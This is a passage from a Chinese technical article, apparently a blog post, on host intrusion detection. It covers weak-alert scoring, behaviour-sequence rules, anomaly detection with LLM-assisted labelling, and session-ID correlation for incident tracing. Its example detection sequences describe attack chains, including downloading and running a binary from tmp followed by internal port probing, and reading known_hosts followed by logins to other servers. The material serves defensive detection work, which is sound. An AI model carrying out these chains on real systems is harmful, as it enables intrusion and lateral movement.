start;background-color: rgb(255, 255, 255);"><br/></p><p cid="n1959" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">因此无论是什么场景的入侵检测产品，最终的目的是希望通过引擎+算法+策略实现对于行为本身的理解，然后再进行判断。</span></p><p cid="n1960" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">那么多个弱告警+告警关联+综合打分是一个比较容易想到的方案。</span></p><p cid="n1961" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><br/></p><p cid="n1962" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">基本策略需要考虑误报问题，其策略编写主要侧重针对恶意行为所特有的特征，因此对于准确度和误报率是有较高要求的，而弱告警策略构建因为不需要考虑到误报问题，比如</span><span md-inline="code" spellcheck="false"><code style="font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">cat xxx.conf</code></span><span md-inline="plain">可以说是 Discovery行为，但是更多可能性是运维或研发同学的正常操作，不过没有关系，可以编写一个分数较低的弱告警策略。弱告警策略的编写方式就是针对ATT&amp;CK的行为在不用考虑误报的情况下进行策略编写，力求全面而非准确，再举一些例子，比如tmp下创建文件，判断是否处于容器环境，java/php等web常见进程派生进程，访问配置文件，查找敏感配置，查看各种基础信息等。</span></p><p cid="n1963" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><br/></p><p cid="n1964" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">我们有了自己的弱告警规则后，再基于进程，文件等关联关系将不同的告警进行关联，再进行聚合打分。</span></p><p cid="n1965" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><br/></p><p cid="n1966" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">在早期的版本中，我们是混沌匹配的，即如果我们有3条来自同一进程派生的弱告警，并且有一个最基本的顺序性（比如符合 Initial Access -&gt; Discovery的顺序性），那么会进行对应的弱告警累计并与告警阈值进行对比，如果高于则产生告警。注意这里实际上是不考虑弱告警与弱告警之间的逻辑的。该方案整体误报较高，可解释性较差，但是确实可以发现一些基本策略无法发现的恶意行为。</span></p><p cid="n1967" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><br/></p><p cid="n1968" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">随着我们在这个方向的深入，我们发现比较明确的行为序列可以更好的降低混沌方案的缺点，因此相对窄化的但是明确的存在内在逻辑的弱告警关联方案逐步替代了之前的混沌方案。</span></p><p cid="n1969" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">行为序列检测（即通过跨越时空和主体，并通过多个明确的弱告警组合进行检测）带来了很好的可解释性，具体的行为序列需要从具体的攻击case中提炼，也可以从蜜罐中进行半自动化的提炼。比如：</span></p><ul class="list-paddingleft-1" cid="n1970" mdtype="list" data-mark="*" style="margin-top: 0.8em;margin-bottom: 0.8em;padding-left: 30px;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;text-wrap: wrap;background-color: rgb(255, 255, 255);"><li><p cid="n1972" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">从外网下载程序到tmp-&gt;给该文件可执行权限-&gt;运行该文件后，该文件访问多个内网服务器端口；</span></p></li><li><p cid="n1974" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">连续访问多个的系统配置-&gt;访问known_hosts-&gt;登陆其他内网服务器并且登陆成功；</span></p></li><li><p cid="n1976" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">多个web服务派生的行为触发弱告警。</span></p></li></ul><p cid="n1977" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">提升行为序列检测能力需要：</span></p><ul class="list-paddingleft-1" cid="n1978" mdtype="list" data-mark="*" style="margin-top: 0.8em;margin-bottom: 0.8em;padding-left: 30px;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;text-wrap: wrap;background-color: rgb(255, 255, 255);"><li><p cid="n1980" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">场景的不断补充与提炼；</span></p></li><li><p cid="n1982" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">提升行为间关联能力：仅通过进程是不足的，如A进程写入定时任务，定时任务运行的场景；</span></p></li><li><p cid="n1984" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">跨机的关联场景，这部分可能收益比较低；</span></p></li><li><p cid="n1986" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">跨长周期的关联能力。</span></p></li></ul><p cid="n1987" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">需要注意的是行为序列检测需要规则引擎支持CEP，并且可以引入一些基准数据来影响单个告警的分数权重，比如x%的历史时间或相同镜像业务没有该行为，则该告警的分数 = 基础分数 * (1-x%) *100等（公示瞎写的）。</span></p><p cid="n1988" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">这里有一个没有来得及实践的问题，即局部的混沌是否会带来更好的检测效果？</span></p><p cid="n1989" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><br/></p><p cid="n1990" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">关于行为序列检测我们还可以基于大量的公网蜜罐数据进行行为序列自动化学习和生成，然后通过人工评估和生产环境灰度后再发布策略，这样可以大大提升对于新型恶意行为的捕获能力。</span></p><p cid="n1991" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><br/></p><h3 cid="n1992" mdtype="heading" style="white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">2.4 异常检测</span></h3><p cid="n1993" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">异常检测不是一个新鲜概念了，在几年前伴随着机器学习大热的时候热过一段时间，早期方案是比较暴力的针对部分类型的原始数据进行全量的异常检测，但是效果不好，性能差，可解释性差，误报高。</span></p><p cid="n1994" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><br/></p><p cid="n1995" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">第二个阶段是通过对行为进行打标，然后再进行传统的异常检测（异常点检测或者分类），这个思路本质是通过标签让机器更加理解行为。</span></p><p cid="n1996" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">这个方案的Demo效果是不错的，恰好Demo出来没多久ChatGPT3.5就发布了，基于LLM对行为进行自动化打标极大的提高了效率，最后的检测部分还是选择了传统的异常检测算法进行，以便提高效率并且更好的调整告警阈值。</span></p><p cid="n1997" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">具体的标签化例子：</span></p><ul class="list-paddingleft-1" cid="n1998" mdtype="list" data-mark="*" style="margin-top: 0.8em;margin-bottom: 0.8em;padding-left: 30px;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;text-wrap: wrap;background-color: rgb(255, 255, 255);"><li><p cid="n2000" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">网络访问可以给以下标签：内网，外网，常见应用服务端口，常见存储服务端口，或者直接联动CMDB给业务归属标签等等；</span></p></li><li><p cid="n2002" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">普通的进程创建可以给以下标签：文件管理命令，系统管理命令，文本处理命令，网络管理命令，权限切换命令等等；</span></p></li><li><p cid="n2004" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">文件相关的：系统配置目录，临时目录，共享库目录， root 用户目录，系统日志目录等等；</span></p></li><li><p cid="n2006" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">其他：出现的概率，关联操作的人员属性（研发，测试，运维）等。</span></p></li></ul><p cid="n2007" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">然后根据数据的各种操作对象，来源，进程树信息，特殊环境变量等等进行标签化，标签种类越多越好，然后通过LLM高效打标。</span></p><p cid="n2008" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">打好标签后再基于行为组为最小单位进行模型生成（可以选择一些传统的聚类或分类的机器学习方案），然后再用恶意行为进行测试来不断调整，注意这里需要基于一组行为序列进行训练和检测。</span></p><p cid="n2009" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">我们的Demo最后表现是可以将生产环境的抽样的数据分为100多类，并且对于已知的恶意行为有不错的区分度。</span></p><p cid="n2010" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><br/></p><h2 cid="n2011" mdtype="heading" style="white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">3 数据关联与响应能力</span></h2><p cid="n2012" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">数据关联在行为序列检测和告警发生后基于告警数据对原始数据溯源有用到。</span></p><p cid="n2013" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><br/></p><h3 cid="n2014" mdtype="heading" style="white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">3.1 进程维度关联方案</span></h3><p cid="n2015" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">Linux Process Group Session ID 是一个很好的选择，需要注意setsid会变更SID信息，简单场景下可以直接用SID作为溯源用Key，效果会明显好于PPID/PGID等其他ID。</span></p><p cid="n2016" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">由于任何Runtime数据都会采集SID，因此在告警溯源的场景下，仅使用告警数据的SID就可以非常方便的把一个该行为前后的进程、文件、网络、权限等行为进行关联，再对其进行基于时间的关联绘图将会非常实用。</span></p><p cid="n2017" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><br/></p><h3 cid="n2018" mdtype="heading" style="white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">3.2 溯源场景下的原始数据存储算法</span></h3><p cid="n2019" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;"><span md-inline="plain" style=""><span style="background-color: rgb(255, 255, 255);">在超大数据量并且有自研规则引擎的情况下，可以在规则引擎内集成一段时间的原始数据离线存储与查询能力：</span><span style="background-color: rgb(255, 255, 255);">将SID作为唯一索引，保存为索引文件（近期的存储在内存中），原始数据的压缩文件和压缩字典进行分片保存，遇到需要进行查询的场景，先查询索引文件，如有匹配，</span>再<span style="background-color: rgb(255, 255, 255);">进行对应压缩文件的解压缩进行提取，可以参考下LSM-Tree方案。</span></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100000732" data-ratio="0.2972222222222222" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=d89fb090&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVwuh3hJqbocYfu7Qm4JTXcxJ2u3hhCDOOPQw215pyVAKVWX9uiaiaz9TjNS69264YmxU0G6icwNibdVHA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p cid="n2021" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">这样的好处是可以实现非常高的存储和计算性能，压缩比可以做到很高，并且可以极大的减少存储成本的运维成本（私有化部署方便），并且这样相当于让规则引擎支持流数据处理的同时有了离线数据的处理能力，有了原生支持流+离线的能力，策略编写也会更加便利。</span></p><p cid="n2022" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><br/></p><h3 cid="n2023" mdtype="heading" style="white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">3.3 其他溯源场景</span></h3><p cid="n2024" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">这里主要指告警后除了原始数据外的数据关联场景，目的是提升告警数据的丰富度和上下文，提高IR人员效率：</span></p><ul class="list-paddingleft-1" cid="n2025" mdtype="list" data-mark="*" style="margin-top: 0.8em;margin-bottom: 0.8em;padding-left: 30px;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;text-wrap: wrap;background-color: rgb(255, 255, 255);"><li><p cid="n2027" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">告警相关的登陆行为：如有进程树中有sshd，关联具体登陆日志；</span></p></li><li><p cid="n2029" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">告警相关进程是否存在高危漏洞信息，高危基线风险，弱口令风险；</span></p></li><li><p cid="n2031" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">告警相关进程来源排查，比如crontab，linux service等；</span></p></li><li><p cid="n2033" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: 